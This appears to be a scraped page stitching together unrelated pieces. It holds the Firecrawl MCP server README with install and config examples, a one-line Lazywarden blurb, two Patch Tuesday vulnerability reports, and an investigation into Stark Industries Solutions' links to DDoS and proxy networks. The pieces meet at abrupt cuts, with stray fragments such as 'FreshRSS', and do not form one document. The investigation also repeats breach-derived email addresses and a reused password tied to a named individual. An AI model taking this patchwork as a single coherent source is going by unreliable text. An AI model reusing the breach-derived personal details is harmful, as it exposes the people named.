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A Model Context Protocol (MCP) server implementation that integrates with Firecrawl for web scraping capabilities.
Big thanks to @vrknetha, @cawstudios for the initial implementation!
You can also play around with our MCP Server on MCP.so's playground. Thanks to MCP.so for hosting and @gstarwd for integrating our server.
FreshRSS env FIRECRAWL_API_KEY=fc-YOUR_API_KEY npx -y firecrawl-mcp
npm install -g firecrawl-mcp
Configuring Cursor 🖥️ Note: Requires Cursor version 0.45.6+ For the most up-to-date configuration instructions, please refer to the official Cursor documentation on configuring MCP servers: Cursor MCP Server Configuration Guide
To configure Firecrawl MCP in Cursor v0.45.6
env FIRECRAWL_API_KEY=your-api-key npx -y firecrawl-mcp
To configure Firecrawl MCP in Cursor v0.48.6
json { "mcpServers": { "firecrawl-mcp": { "command": "npx", "args": ["-y", "firecrawl-mcp"], "env": { "FIRECRAWL_API_KEY": "YOUR-API-KEY" } } } }
If you are using Windows and are running into issues, try
cmd /c "set FIRECRAWL_API_KEY=your-api-key && npx -y firecrawl-mcp"
Replace your-api-key with your Firecrawl API key. If you don't have one yet, you can create an account and get it from https://www.firecrawl.dev/app/api-keys
After adding, refresh the MCP server list to see the new tools. The Composer Agent will automatically use Firecrawl MCP when appropriate, but you can explicitly request it by describing your web scraping needs. Access the Composer via Command+L (Mac), select "Agent" next to the submit button, and enter your query.
Add this to your ./codeium/windsurf/model_config.json:
{
"mcpServers": {
"mcp-server-firecrawl": {
"command": "npx",
"args": ["-y", "firecrawl-mcp"],
"env": {
"FIRECRAWL_API_KEY": "YOUR_API_KEY"
}
}
}
}
To install Firecrawl for Claude Desktop automatically via Smithery:
npx -y @smithery/cli install @mendableai/mcp-server-firecrawl --client claude
FIRECRAWL_API_KEY: Your Firecrawl API keyFIRECRAWL_API_URL
FIRECRAWL_API_URL (Optional): Custom API endpoint for self-hosted instanceshttps://firecrawl.your-domain.com
FIRECRAWL_RETRY_MAX_ATTEMPTS: Maximum number of retry attempts (default: 3)FIRECRAWL_RETRY_INITIAL_DELAY: Initial delay in milliseconds before first retry (default: 1000)FIRECRAWL_RETRY_MAX_DELAY: Maximum delay in milliseconds between retries (default: 10000)FIRECRAWL_RETRY_BACKOFF_FACTOR: Exponential backoff multiplier (default: 2)FIRECRAWL_CREDIT_WARNING_THRESHOLD: Credit usage warning threshold (default: 1000)FIRECRAWL_CREDIT_CRITICAL_THRESHOLD: Credit usage critical threshold (default: 100)For cloud API usage with custom retry and credit monitoring:
# Required for cloud API
export FIRECRAWL_API_KEY=your-api-key
# Optional retry configuration
export FIRECRAWL_RETRY_MAX_ATTEMPTS=5 # Increase max retry attempts
export FIRECRAWL_RETRY_INITIAL_DELAY=2000 # Start with 2s delay
export FIRECRAWL_RETRY_MAX_DELAY=30000 # Maximum 30s delay
export FIRECRAWL_RETRY_BACKOFF_FACTOR=3 # More aggressive backoff
# Optional credit monitoring
export FIRECRAWL_CREDIT_WARNING_THRESHOLD=2000 # Warning at 2000 credits
export FIRECRAWL_CREDIT_CRITICAL_THRESHOLD=500 # Critical at 500 credits
For self-hosted instance:
# Required for self-hosted
export FIRECRAWL_API_URL=https://firecrawl.your-domain.com
# Optional authentication for self-hosted
export FIRECRAWL_API_KEY=your-api-key # If your instance requires auth
# Custom retry configuration
export FIRECRAWL_RETRY_MAX_ATTEMPTS=10
export FIRECRAWL_RETRY_INITIAL_DELAY=500 # Start with faster retries
Add this to your claude_desktop_config.json:
{
"mcpServers": {
"mcp-server-firecrawl": {
"command": "npx",
"args": ["-y", "firecrawl-mcp"],
"env": {
"FIRECRAWL_API_KEY": "YOUR_API_KEY_HERE",
"FIRECRAWL_RETRY_MAX_ATTEMPTS": "5",
"FIRECRAWL_RETRY_INITIAL_DELAY": "2000",
"FIRECRAWL_RETRY_MAX_DELAY": "30000",
"FIRECRAWL_RETRY_BACKOFF_FACTOR": "3",
"FIRECRAWL_CREDIT_WARNING_THRESHOLD": "2000",
"FIRECRAWL_CREDIT_CRITICAL_THRESHOLD": "500"
}
}
}
}
The server includes several configurable parameters that can be set via environment variables. Here are the default values if not configured:
const CONFIG = {
retry: {
maxAttempts: 3, // Number of retry attempts for rate-limited requests
initialDelay: 1000, // Initial delay before first retry (in milliseconds)
maxDelay: 10000, // Maximum delay between retries (in milliseconds)
backoffFactor: 2, // Multiplier for exponential backoff
},
credit: {
warningThreshold: 1000, // Warn when credit usage reaches this level
criticalThreshold: 100, // Critical alert when credit usage reaches this level
},
};
These configurations control:
Retry Behavior
Automatically retries failed requests due to rate limits
Example: With default settings, retries will be attempted at:
Credit Usage Monitoring
The server utilizes Firecrawl's built-in rate limiting and batch processing capabilities:
firecrawl_scrape)Scrape content from a single URL with advanced options.
{
"name": "firecrawl_scrape",
"arguments": {
"url": "https://example.com",
"formats": ["markdown"],
"onlyMainContent": true,
"waitFor": 1000,
"timeout": 30000,
"mobile": false,
"includeTags": ["article", "main"],
"excludeTags": ["nav", "footer"],
"skipTlsVerification": false
}
}
firecrawl_batch_scrape)Scrape multiple URLs efficiently with built-in rate limiting and parallel processing.
{
"name": "firecrawl_batch_scrape",
"arguments": {
"urls": ["https://example1.com", "https://example2.com"],
"options": {
"formats": ["markdown"],
"onlyMainContent": true
}
}
}
Response includes operation ID for status checking:
{
"content": [
{
"type": "text",
"text": "Batch operation queued with ID: batch_1. Use firecrawl_check_batch_status to check progress."
}
],
"isError": false
}
firecrawl_check_batch_status)Check the status of a batch operation.
{
"name": "firecrawl_check_batch_status",
"arguments": {
"id": "batch_1"
}
}
firecrawl_search)Search the web and optionally extract content from search results.
{
"name": "firecrawl_search",
"arguments": {
"query": "your search query",
"limit": 5,
"lang": "en",
"country": "us",
"scrapeOptions": {
"formats": ["markdown"],
"onlyMainContent": true
}
}
}
firecrawl_crawl)Start an asynchronous crawl with advanced options.
{
"name": "firecrawl_crawl",
"arguments": {
"url": "https://example.com",
"maxDepth": 2,
"limit": 100,
"allowExternalLinks": false,
"deduplicateSimilarURLs": true
}
}
firecrawl_extract)Extract structured information from web pages using LLM capabilities. Supports both cloud AI and self-hosted LLM extraction.
{
"name": "firecrawl_extract",
"arguments": {
"urls": ["https://example.com/page1", "https://example.com/page2"],
"prompt": "Extract product information including name, price, and description",
"systemPrompt": "You are a helpful assistant that extracts product information",
"schema": {
"type": "object",
"properties": {
"name": { "type": "string" },
"price": { "type": "number" },
"description": { "type": "string" }
},
"required": ["name", "price"]
},
"allowExternalLinks": false,
"enableWebSearch": false,
"includeSubdomains": false
}
}
Example response:
{
"content": [
{
"type": "text",
"text": {
"name": "Example Product",
"price": 99.99,
"description": "This is an example product description"
}
}
],
"isError": false
}
urls: Array of URLs to extract information fromprompt: Custom prompt for the LLM extractionsystemPrompt: System prompt to guide the LLMschema: JSON schema for structured data extractionallowExternalLinks: Allow extraction from external linksenableWebSearch: Enable web search for additional contextincludeSubdomains: Include subdomains in extractionWhen using a self-hosted instance, the extraction will use your configured LLM. For cloud API, it uses Firecrawl's managed LLM service.
Conduct deep web research on a query using intelligent crawling, search, and LLM analysis.
{
"name": "firecrawl_deep_research",
"arguments": {
"query": "how does carbon capture technology work?",
"maxDepth": 3,
"timeLimit": 120,
"maxUrls": 50
}
}
Arguments:
Returns:
Generate a standardized llms.txt (and optionally llms-full.txt) file for a given domain. This file defines how large language models should interact with the site.
{
"name": "firecrawl_generate_llmstxt",
"arguments": {
"url": "https://example.com",
"maxUrls": 20,
"showFullText": true
}
}
Arguments:
Returns:
The server includes comprehensive logging:
Example log messages:
[INFO] Firecrawl MCP Server initialized successfully
[INFO] Starting scrape for URL: https://example.com
[INFO] Batch operation queued with ID: batch_1
[WARNING] Credit usage has reached warning threshold
[ERROR] Rate limit exceeded, retrying in 2s...
The server provides robust error handling:
Example error response:
{
"content": [
{
"type": "text",
"text": "Error: Rate limit exceeded. Retrying in 2 seconds..."
}
],
"isError": true
}
# Install dependencies
npm install
# Build
npm run build
# Run tests
npm test
npm test
MIT License - see LICENSE file for details
Lazywarden is a Python automation tool designed to Backup and Restore data from your vault, including Bitwarden attachments. It allows you to upload backups to multiple cloud storage services and receive notifications across multiple platforms. It also offers AES encrypted backups and uses key derivation with Argon2, ensuring maximum security for your data.
Microsoft Corp. today issued software updates to plug at least 139 security holes in various flavors of Windows and other Microsoft products. Redmond says attackers are already exploiting at least two of the vulnerabilities in active attacks against Windows users.
The first Microsoft zero-day this month is CVE-2024-38080, a bug in the Windows Hyper-V component that affects Windows 11 and Windows Server 2022 systems. CVE-2024-38080 allows an attacker to increase their account privileges on a Windows machine. Although Microsoft says this flaw is being exploited, it has offered scant details about its exploitation.
The other zero-day is CVE-2024-38112, which is a weakness in MSHTML, the proprietary engine of Microsoft’s Internet Explorer web browser. Kevin Breen, senior director of threat research at Immersive Labs, said exploitation of CVE-2024-38112 likely requires the use of an “attack chain” of exploits or programmatic changes on the target host, a la Microsoft’s description: “Successful exploitation of this vulnerability requires an attacker to take additional actions prior to exploitation to prepare the target environment.”
“Despite the lack of details given in the initial advisory, this vulnerability affects all hosts from Windows Server 2008 R2 onwards, including clients,” Breen said. “Due to active exploitation in the wild this one should be prioritized for patching.”
Satnam Narang, senior staff research engineer at Tenable, called special attention to CVE-2024-38021, a remote code execution flaw in Microsoft Office. Attacks on this weakness would lead to the disclosure of NTLM hashes, which could be leveraged as part of an NTLM relay or “pass the hash” attack, which lets an attacker masquerade as a legitimate user without ever having to log in.
“One of the more successful attack campaigns from 2023 used CVE-2023-23397, an elevation of privilege bug in Microsoft Outlook that could also leak NTLM hashes,” Narang said. “However, CVE-2024-38021 is limited by the fact that the Preview Pane is not an attack vector, which means that exploitation would not occur just by simply previewing the file.”
The security firm Morphisec, credited with reporting CVE-2024-38021 to Microsoft, said it respectfully disagrees with Microsoft’s “important” severity rating, arguing the Office flaw deserves a more dire “critical” rating given how easy it is for attackers to exploit.
“Their assessment differentiates between trusted and untrusted senders, noting that while the vulnerability is zero-click for trusted senders, it requires one click user interaction for untrusted senders,” Morphisec’s Michael Gorelik said in a blog post about their discovery. “This reassessment is crucial to reflect the true risk and ensure adequate attention and resources are allocated for mitigation.”
In last month’s Patch Tuesday, Microsoft fixed a flaw in its Windows WiFi driver that attackers could use to install malicious software just by sending a vulnerable Windows host a specially crafted data packet over a local network. Jason Kikta at Automox said this month’s CVE-2024-38053 — a security weakness in Windows Layer Two Bridge Network — is another local network “ping-of-death” vulnerability that should be a priority for road warriors to patch.
“This requires close access to a target,” Kikta said. “While that precludes a ransomware actor in Russia, it is something that is outside of most current threat models. This type of exploit works in places like shared office environments, hotels, convention centers, and anywhere else where unknown computers might be using the same physical link as you.”
Automox also highlighted three vulnerabilities in Windows Remote Desktop a service that allocates Client Access Licenses (CALs) when a client connects to a remote desktop host (CVE-2024-38077, CVE-2024-38074, and CVE-2024-38076). All three bugs have been assigned a CVSS score of 9.8 (out of 10) and indicate that a malicious packet could trigger the vulnerability.
Tyler Reguly at Fortra noted that today marks the End of Support date for SQL Server 2014, a platform that according to Shodan still has ~110,000 instances publicly available. On top of that, more than a quarter of all vulnerabilities Microsoft fixed this month are in SQL server.
“A lot of companies don’t update quickly, but this may leave them scrambling to update those environments to supported versions of MS-SQL,” Reguly said.
It’s a good idea for Windows end-users to stay current with security updates from Microsoft, which can quickly pile up otherwise. That doesn’t mean you have to install them on Patch Tuesday. Indeed, waiting a day or three before updating is a sane response, given that sometimes updates go awry and usually within a few days Microsoft has fixed any issues with its patches. It’s also smart to back up your data and/or image your Windows drive before applying new updates.
For a more detailed breakdown of the individual flaws addressed by Microsoft today, check out the SANS Internet Storm Center’s list. For those admins responsible for maintaining larger Windows environments, it often pays to keep an eye on Askwoody.com, which frequently points out when specific Microsoft updates are creating problems for a number of users.
As ever, if you experience any problems applying any of these updates, consider dropping a note about it in the comments; chances are decent someone else reading here has experienced the same issue, and maybe even has a solution.
The homepage of Stark Industries Solutions.
Two weeks before Russia invaded Ukraine in February 2022, a large, mysterious new Internet hosting firm called Stark Industries Solutions materialized and quickly became the epicenter of massive distributed denial-of-service (DDoS) attacks on government and commercial targets in Ukraine and Europe. An investigation into Stark Industries reveals it is being used as a global proxy network that conceals the true source of cyberattacks and disinformation campaigns against enemies of Russia.
At least a dozen patriotic Russian hacking groups have been launching DDoS attacks since the start of the war at a variety of targets seen as opposed to Moscow. But by all accounts, few attacks from those gangs have come close to the amount of firepower wielded by a pro-Russia group calling itself “NoName057(16).”
This graphic comes from a recent report from NETSCOUT about DDoS attacks from Russian hacktivist groups.
As detailed by researchers at Radware, NoName has effectively gamified DDoS attacks, recruiting hacktivists via its Telegram channel and offering to pay people who agree to install a piece of software called DDoSia. That program allows NoName to commandeer the host computers and their Internet connections in coordinated DDoS campaigns, and DDoSia users with the most attacks can win cash prizes.
The NoName DDoS group advertising on Telegram. Image: SentinelOne.com.
A report from the security firm Team Cymru found the DDoS attack infrastructure used in NoName campaigns is assigned to two interlinked hosting providers: MIRhosting and Stark Industries. MIRhosting is a hosting provider founded in The Netherlands in 2004. But Stark Industries Solutions Ltd was incorporated on February 10, 2022, just two weeks before the Russian invasion of Ukraine.
Security experts say that not long after the war started, Stark began hosting dozens of proxy services and free virtual private networking (VPN) services, which are designed to help users shield their Internet usage and location from prying eyes.
Proxy providers allow users to route their Internet and Web browsing traffic through someone else’s computer. From a website’s perspective, the traffic from a proxy network user appears to originate from the rented IP address, not from the proxy service customer.
These services can be used in a legitimate manner for several business purposes — such as price comparisons or sales intelligence — but they are also massively abused for hiding cybercrime activity because they can make it difficult to trace malicious traffic to its original source.
What’s more, many proxy services do not disclose how they obtain access to the proxies they are renting out, and in many cases the access is obtained through the dissemination of malicious software that turns the infected system into a traffic relay — usually unbeknownst to the legitimate owner of the Internet connection. Other proxy services will allow users to make money by renting out their Internet connection to anyone.
Spur.us is a company that tracks VPNs and proxy services worldwide. Spur finds that Stark Industries (AS44477) currently is home to at least 74 VPN services, and 40 different proxy services. As we’ll see in the final section of this story, just one of those proxy networks has over a million Internet addresses available for rent across the globe.
Raymond Dijkxhoorn operates a hosting firm in The Netherlands called Prolocation. He also co-runs SURBL, an anti-abuse service that flags domains and Internet address ranges that are strongly associated with spam and cybercrime activity, including DDoS.
Dijkxhoorn said last year SURBL heard from multiple people who said they operated VPN services whose web resources were included in SURBL’s block lists.
“We had people doing delistings at SURBL for domain names that were suspended by the registrars,” Dijkhoorn told KrebsOnSecurity. “And at least two of them explained that Stark offered them free VPN services that they were reselling.”
Dijkxhoorn added that Stark Industries also sponsored activist groups from Ukraine.
“How valuable would it be for Russia to know the real IPs from Ukraine’s tech warriors?” he observed.
Richard Hummel is threat intelligence lead at NETSCOUT. Hummel said when he considers the worst of all the hosting providers out there today, Stark Industries is consistently near or at the top of that list.
“The reason is we’ve had at least a dozen service providers come to us saying, ‘There’s this network out there inundating us with traffic,'” Hummel said. “And it wasn’t even DDoS attacks. [The systems] on Stark were just scanning these providers so fast it was crashing some of their services.”
Hummel said NoName will typically launch their attacks using a mix of resources rented from major, legitimate cloud services, and those from so-called “bulletproof” hosting providers like Stark. Bulletproof providers are so named when they earn or cultivate a reputation for ignoring any abuse complaints or police reports about activity on their networks.
Combining bulletproof providers with legitimate cloud hosting, Hummel said, likely makes NoName’s DDoS campaigns more resilient because many network operators will hesitate to be too aggressive in blocking Internet addresses associated with the major cloud services.
“What we typically see here is a distribution of cloud hosting providers and bulletproof hosting providers in DDoS attacks,” he said. “They’re using public cloud hosting providers because a lot of times that’s your first layer of network defense, and because [many companies are wary of] over-blocking access to legitimate cloud resources.”
But even if the cloud provider detects abuse coming from the customer, the provider is probably not going to shut the customer down immediately, Hummel said.
“There is usually a grace period, and even if that’s only an hour or two, you can still launch a large number of attacks in that time,” he said. “And then they just keep coming back and opening new cloud accounts.”
Stark Industries is incorporated at a mail drop address in the United Kingdom. UK business records list an Ivan Vladimirovich Neculiti as the company’s secretary. Mr. Neculiti also is named as the CEO and founder of PQ Hosting Plus S.R.L. (aka Perfect Quality Hosting), a Moldovan company formed in 2019 that lists the same UK mail drop address as Stark Industries.
Ivan Neculiti, as pictured on LinkedIn.
Reached via LinkedIn, Mr. Neculiti said PQ Hosting established Stark Industries as a “white label” of its brand so that “resellers could distribute our services using our IP addresses and their clients would not have any affairs with PQ Hosting.”
“PQ Hosting is a company with over 1,000+ of [our] own physical servers in 38 countries and we have over 100,000 clients,” he said. “Though we are not as large as Hetzner, Amazon and OVH, nevertheless we are a fast growing company that provides services to tens of thousands of private customers and legal entities.”
Asked about the constant stream of DDoS attacks whose origins have traced back to Stark Industries over the past two years, Neculiti maintained Stark hasn’t received any official abuse reports about attacks coming from its networks.
“It was probably some kind of clever attack that we did not see, I do not rule out this fact, because we have a very large number of clients and our Internet channels are quite large,” he said. “But, in this situation, unfortunately, no one contacted us to report that there was an attack from our addresses; if someone had contacted us, we would have definitely blocked the network data.”
DomainTools.com finds Ivan V. Neculiti was the owner of war[.]md, a website launched in 2008 that chronicled the history of a 1990 armed conflict in Moldova known as the Transnistria War and the Moldo-Russian war.
An ad for war.md, circa 2009.
Transnistria is a breakaway pro-Russian region that declared itself a state in 1990, although it is not internationally recognized. The copyright on that website credits the “MercenarieS TeaM,” which was at one time a Moldovan IT firm. Mr. Neculiti confirmed personally registering this domain.
The data breach tracking service Constella Intelligence reports that an Ivan V. Neculiti registered multiple online accounts under the email address dfyz_bk@bk.ru. Cyber intelligence firm Intel 471 shows this email address is tied to the username “dfyz” on more than a half-dozen Russian language cybercrime forums since 2008. The user dfyz on Searchengines[.]ru in 2008 asked other forum members to review war.md, and said they were part of the MercenarieS TeaM.
Back then, dfyz was selling “bulletproof servers for any purpose,” meaning the hosting company would willfully ignore abuse complaints or police inquiries about the activity of its customers.
DomainTools reports there are at least 33 domain names registered to dfyz_bk@bk.ru. Several of these domains have Ivan Neculiti in their registration records, including tracker-free[.]cn, which was registered to an Ivan Neculiti at dfyz_bk@bk.ru and referenced the MercenarieS TeaM in its original registration records.
Dfyz also used the nickname DonChicho, who likewise sold bulletproof hosting services and access to hacked Internet servers. In 2014, a prominent member of the Russian language cybercrime community Antichat filed a complaint against DonChicho, saying this user scammed them and had used the email address dfyz_bk@bk.ru.
The complaint said DonChicho registered on Antichat from the Transnistria Internet address 84.234.55[.]29. Searching this address in Constella reveals it has been used to register just five accounts online that have been created over the years, including one at ask.ru, where the user registered with the email address neculitzy1@yandex.ru. Constella also returns for that email address a user by the name “Ivan” at memoraleak.com and 000webhost.com.
Constella finds that the password most frequently used by the email address dfyz_bk@bk.ru was “filecast,” and that there are more than 90 email addresses associated with this password. Among them are roughly two dozen addresses with the name “Neculiti” in them, as well as the address support@donservers[.]ru.
Intel 471 says DonChicho posted to several Russian cybercrime forums that support@donservers[.]ru was his address, and that he logged into cybercrime forums almost exclusively from Internet addresses in Tiraspol, the capital of Transnistria. A review of DonChicho’s posts shows this person was banned from several forums in 2014 for scamming other users.
Cached copies of DonChicho’s vanity domain (donchicho[.]ru) show that in 2009 he was a spammer who peddled knockoff prescription drugs via Rx-Promotion, once one of the largest pharmacy spam moneymaking programs for Russian-speaking affiliates.
Mr. Neculiti told KrebsOnSecurity he has never used the nickname DonChicho.
“I may assure you that I have no relation to DonChicho nor to his bulletproof servers,” he said.
Below is a mind map that shows the connections between the accounts mentioned above.
A mind map tracing the history of the user Dfyz. Click to enlarge.
Earlier this year, NoName began massively hitting government and industry websites in Moldova. A new report from Arbor Networks says the attacks began around March 6, when NoName alleged the government of Moldova was “craving for Russophobia.”
“Since early March, more than 50 websites have been targeted, according to posted ‘proof’ by the groups involved in attacking the country,” Arbor’s ASERT Team wrote. “While NoName seemingly initiated the ramp of attacks, a host of other DDoS hacktivists have joined the fray in claiming credit for attacks across more than 15 industries.”
The German independent news outlet Correctiv.org last week published a scathing investigative report on Stark Industries and MIRhosting, which notes that Ivan Neculiti operates his hosting companies with the help of his brother, Yuri.
Image credit: correctiv.org.
The report points out that Stark Industries continues to host a Russian disinformation news outlet called “Recent Reliable News” (RRN) that was sanctioned by the European Union in 2023 for spreading links to propaganda blogs and fake European media and government websites.
“The website was not running on computers in Moscow or St. Petersburg until recently, but in the middle of the EU, in the Netherlands, on the computers of the Neculiti brothers,” Correctiv reporters wrote.
“After a request from this editorial team, a well-known service was installed that hides the actual web host,” the report continues. “Ivan Neculiti announced that he had blocked the associated access and server following internal investigations. “We very much regret that we are only now finding out that one of our customers is a sanctioned portal,” said the company boss. However, RRN is still accessible via its servers.”
Correctiv also points to a January 2023 report from the Ukrainian government, which found servers from Stark Industries Solutions were used as part of a cyber attack on the Ukrainian news agency “Ukrinform”. Correctiv notes the notorious hacker group Sandworm — an advanced persistent threat (APT) group operated by a cyberwarfare unit of Russia’s military intelligence service — was identified by Ukrainian government authorities as responsible for that attack.
Public records indicate MIRhosting is based in The Netherlands and is operated by 37-year old Andrey Nesterenko, whose personal website says he is an accomplished concert pianist who began performing publicly at a young age.
DomainTools says mirhosting[.]com is registered to Mr. Nesterenko and to Innovation IT Solutions Corp, which lists addresses in London and in Nesterenko’s stated hometown of Nizhny Novgorod, Russia.
This is interesting because according to the book Inside Cyber Warfare by Jeffrey Carr, Innovation IT Solutions Corp. was responsible for hosting StopGeorgia[.]ru, a hacktivist website for organizing cyberattacks against Georgia that appeared at the same time Russian forces invaded the former Soviet nation in 2008. That conflict was thought to be the first war ever fought in which a notable cyberattack and an actual military engagement happened simultaneously.
Responding to questions from KrebsOnSecurity, Mr. Nesterenko said he couldn’t say whether his network had ever hosted the StopGeorgia website back in 2008 because his company didn’t keep records going back that far. But he said Stark Industries Solutions is indeed one of MIRhsoting’s colocation customers.
“Our relationship is purely provider-customer,” Nesterenko said. “They also utilize multiple providers and data centers globally, so connecting them directly to MIRhosting overlooks their broader network.”
“We take any report of malicious activity seriously and are always open to information that can help us identify and prevent misuse of our infrastructure, whether involving Stark Industries or any other customer,” Nesterenko continued. “In cases where our services are exploited for malicious purposes, we collaborate fully with Dutch cyber police and other relevant authorities to investigate and take appropriate measures. However, we have yet to receive any actionable information beyond the article itself, which has not provided us with sufficient detail to identify or block malicious actors.”
In December 2022, security firm Recorded Future profiled the phishing and credential harvesting infrastructure used for Russia-aligned espionage operations by a group dubbed Blue Charlie (aka TAG-53), which has targeted email accounts of nongovernmental organizations and think tanks, journalists, and government and defense officials.
Recorded Future found that virtually all the Blue Charlie domains existed in just ten different ISPs, with a significant concentration located in two networks, one of which was MIRhosting. Both Microsoft and the UK government assess that Blue Charlie is linked to the Russian threat activity groups variously known as Callisto Group, COLDRIVER, and SEABORGIUM.
Mr. Nesterenko took exception to a story on that report from The Record, which is owned by Recorded Future.
“We’ve discussed its contents with our customer, Stark Industries,” he said. “We understand that they have initiated legal proceedings against the website in question, as they firmly believe that the claims made are inaccurate.”
Recorded Future said they updated their story with comments from Mr. Neculiti, but that they stand by their reporting.
Mr. Nesterenko’s LinkedIn profile says he was previously the foreign region sales manager at Serverius-as, a hosting company in The Netherlands that remains in the same data center as MIRhosting.
In February, the Dutch police took 13 servers offline that were used by the infamous LockBit ransomware group, which had originally bragged on its darknet website that its home base was in The Netherlands. Sources tell KrebsOnSecurity the servers seized by the Dutch police were located in Serverius’ data center in Dronten, which is also shared by MIRhosting.
Serverius-as did not respond to requests for comment. Nesterenko said MIRhosting does use one of Serverius’s data centers for its operations in the Netherlands, alongside two other data centers, but that the recent incident involving the seizure of servers has no connection to MIRhosting.
“We are legally prohibited by Dutch law and police regulations from sharing information with third parties regarding any communications we may have had,” he said.
A February 2024 report from security firm ESET found Serverius-as systems were involved in a series of targeted phishing attacks by Russia-aligned groups against Ukrainian entities throughout 2023. ESET observed that after the spearphishing domains were no longer active, they were converted to promoting rogue Internet pharmacy websites.
A review of the Internet address ranges recently added to the network operated by Stark Industries Solutions offers some insight into its customer base, usage, and maybe even true origins. Here is a snapshot (PDF) of all Internet address ranges announced by Stark Industries so far in the month of May 2024 (this information was graciously collated by the network observability platform Kentik.com).
Those records indicate that the largest portion of the IP space used by Stark is in The Netherlands, followed by Germany and the United States. Stark says it is connected to roughly 4,600 Internet addresses that currently list their ownership as Comcast Cable Communications.
A review of those address ranges at spur.us shows all of them are connected to an entity called Proxyline, which is a sprawling proxy service based in Russia that currently says it has more than 1.6 million proxies globally that are available for rent.
Proxyline dot net.
Reached for comment, Comcast said the Internet address ranges never did belong to Comcast, so it is likely that Stark has been fudging the real location of its routing announcements in some cases.
Stark reports that it has more than 67,000 Internet addresses at Santa Clara, Calif.-based EGIhosting. Spur says the Stark addresses involving EGIhosting all map to Proxyline as well. EGIhosting did not respond to requests for comment.
EGIhosting manages Internet addresses for the Cyprus-based hosting firm ITHOSTLINE LTD (aka HOSTLINE-LTD), which is represented throughout Stark’s announced Internet ranges. Stark says it has more than 21,000 Internet addresses with HOSTLINE. Spur.us finds Proxyline addresses are especially concentrated in the Stark ranges labeled ITHOSTLINE LTD, HOSTLINE-LTD, and Proline IT.
Stark’s network list includes approximately 21,000 Internet addresses at Hockessin, De. based DediPath, which abruptly ceased operations without warning in August 2023. According to a phishing report released last year by Interisle Consulting, DediPath was the fourth most common source of phishing attacks in the year ending Oct. 2022. Spur.us likewise finds that virtually all of the Stark address ranges marked “DediPath LLC” are tied to Proxyline.
Image: Interisle Consulting.
A large number of the Internet address ranges announced by Stark in May originate in India, and the names that are self-assigned to many of these networks indicate they were previously used to send large volumes of spam for herbal medicinal products, with names like HerbalFarm, AdsChrome, Nutravo, Herbzoot and Herbalve.
The anti-spam organization SpamHaus reports that many of the Indian IP address ranges are associated with known “snowshoe spam,” a form of abuse that involves mass email campaigns spread across several domains and IP addresses to weaken reputation metrics and avoid spam filters.
It’s not clear how much of Stark’s network address space traces its origins to Russia, but big chunks of it recently belonged to some of the oldest entities on the Russian Internet (a.k.a. “Runet”).
For example, many Stark address ranges were most recently assigned to a Russian government entity whose full name is the “Federal State Autonomous Educational Establishment of Additional Professional Education Center of Realization of State Educational Policy and Informational Technologies.”
A review of Internet address ranges adjacent to this entity reveals a long list of Russian government organizations that are part of the Federal Guard Service of the Russian Federation. Wikipedia says the Federal Guard Service is a Russian federal government agency concerned with tasks related to protection of several high-ranking state officials, including the President of Russia, as well as certain federal properties. The agency traces its origins to the USSR’s Ninth Directorate of the KGB, and later the presidential security service.
Stark recently announced the address range 213.159.64.0/20 from April 27 to May 1, and this range was previously assigned to an ancient ISP in St. Petersburg, RU called the Computer Technologies Institute Ltd.
According to a post on the Russian language webmaster forum searchengines[.]ru, the domain for Computer Technologies Institute — ctinet[.]ru — is the seventh-oldest domain in the entire history of the Runet.
Curiously, Stark also lists large tracts of Internet addresses (close to 48,000 in total) assigned to a small ISP in Kharkiv, Ukraine called NetAssist. Reached via email, the CEO of NetAssist Max Tulyev confirmed his company provides a number of services to PQ Hosting.
“We colocate their equipment in Warsaw, Madrid, Sofia and Thessaloniki, provide them IP transit and IPv4 addresses,” Tulyev said. “For their size, we receive relatively low number of complains to their networks. I never seen anything about their pro-Russian activity or support of Russian hackers. It is very interesting for me to see proofs of your accusations.”
Spur.us mapped the entire infrastructure of Proxyline, and found more than one million proxies across multiple providers, but by far the biggest concentration was at Stark Industries Solutions. The full list of Proxyline address ranges (.CSV) shows two other ISPs appear repeatedly throughout the list. One is Kharkiv, Ukraine based ITL LLC, also known as Information Technology Laboratories Group, and Integrated Technologies Laboratory.
The second is a related hosting company in Miami, called Green Floid LLC. Green Floid featured in a 2017 scoop by CNN, which profiled the company’s owner and quizzed him about Russian troll farms using proxy networks on Green Floid and its parent firm ITL to mask disinformation efforts tied to the Kremlin’s Internet Research Agency (IRA). At the time, the IRA was using Facebook and other social media networks to spread videos showing police brutality against African Americans in an effort to encourage protests across the United States.
Doug Madory, director of Internet analysis at Kentik, was able to see at a high level the top sources and destinations for traffic traversing Stark’s network.
“Based on our aggregate NetFlow, we see Iran as the top destination (35.1%) for traffic emanating from Stark (AS44477),” Madory said. “Specifically, the top destination is MTN Irancell, while the top source is Facebook. This data supports the theory that AS44477 houses proxy services as Facebook is blocked in Iran.”
On April 30, the security firm Malwarebytes explored an extensive malware operation that targets corporate Internet users with malicious ads. Among the sites used as lures in that campaign were fake Wall Street Journal and CNN websites that told visitors they were required to install a WSJ or CNN-branded browser extension (malware). Malwarebytes found a domain name central to that operation was hosted at Internet addresses owned by Stark Industries.
Image: threatdown.com
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If only Patch Tuesdays came around infrequently — like total solar eclipse rare — instead of just creeping up on us each month like The Man in the Moon. Although to be fair, it would be tough for Microsoft to eclipse the number of vulnerabilities fixed in this month’s patch batch — a record 147 flaws in Windows and related software.
Yes, you read that right. Microsoft today released updates to address 147 security holes in Windows, Office, Azure, .NET Framework, Visual Studio, SQL Server, DNS Server, Windows Defender, Bitlocker, and Windows Secure Boot.
“This is the largest release from Microsoft this year and the largest since at least 2017,” said Dustin Childs, from Trend Micro’s Zero Day Initiative (ZDI). “As far as I can tell, it’s the largest Patch Tuesday release from Microsoft of all time.”
Tempering the sheer volume of this month’s patches is the middling severity of many of the bugs. Only three of April’s vulnerabilities earned Microsoft’s most-dire “critical” rating, meaning they can be abused by malware or malcontents to take remote control over unpatched systems with no help from users.
Most of the flaws that Microsoft deems “more likely to be exploited” this month are marked as “important,” which usually involve bugs that require a bit more user interaction (social engineering) but which nevertheless can result in system security bypass, compromise, and the theft of critical assets.
Ben McCarthy, lead cyber security engineer at Immersive Labs called attention to CVE-2024-20670, an Outlook for Windows spoofing vulnerability described as being easy to exploit. It involves convincing a user to click on a malicious link in an email, which can then steal the user’s password hash and authenticate as the user in another Microsoft service.
Another interesting bug McCarthy pointed to is CVE-2024-29063, which involves hard-coded credentials in Azure’s search backend infrastructure that could be gleaned by taking advantage of Azure AI search.
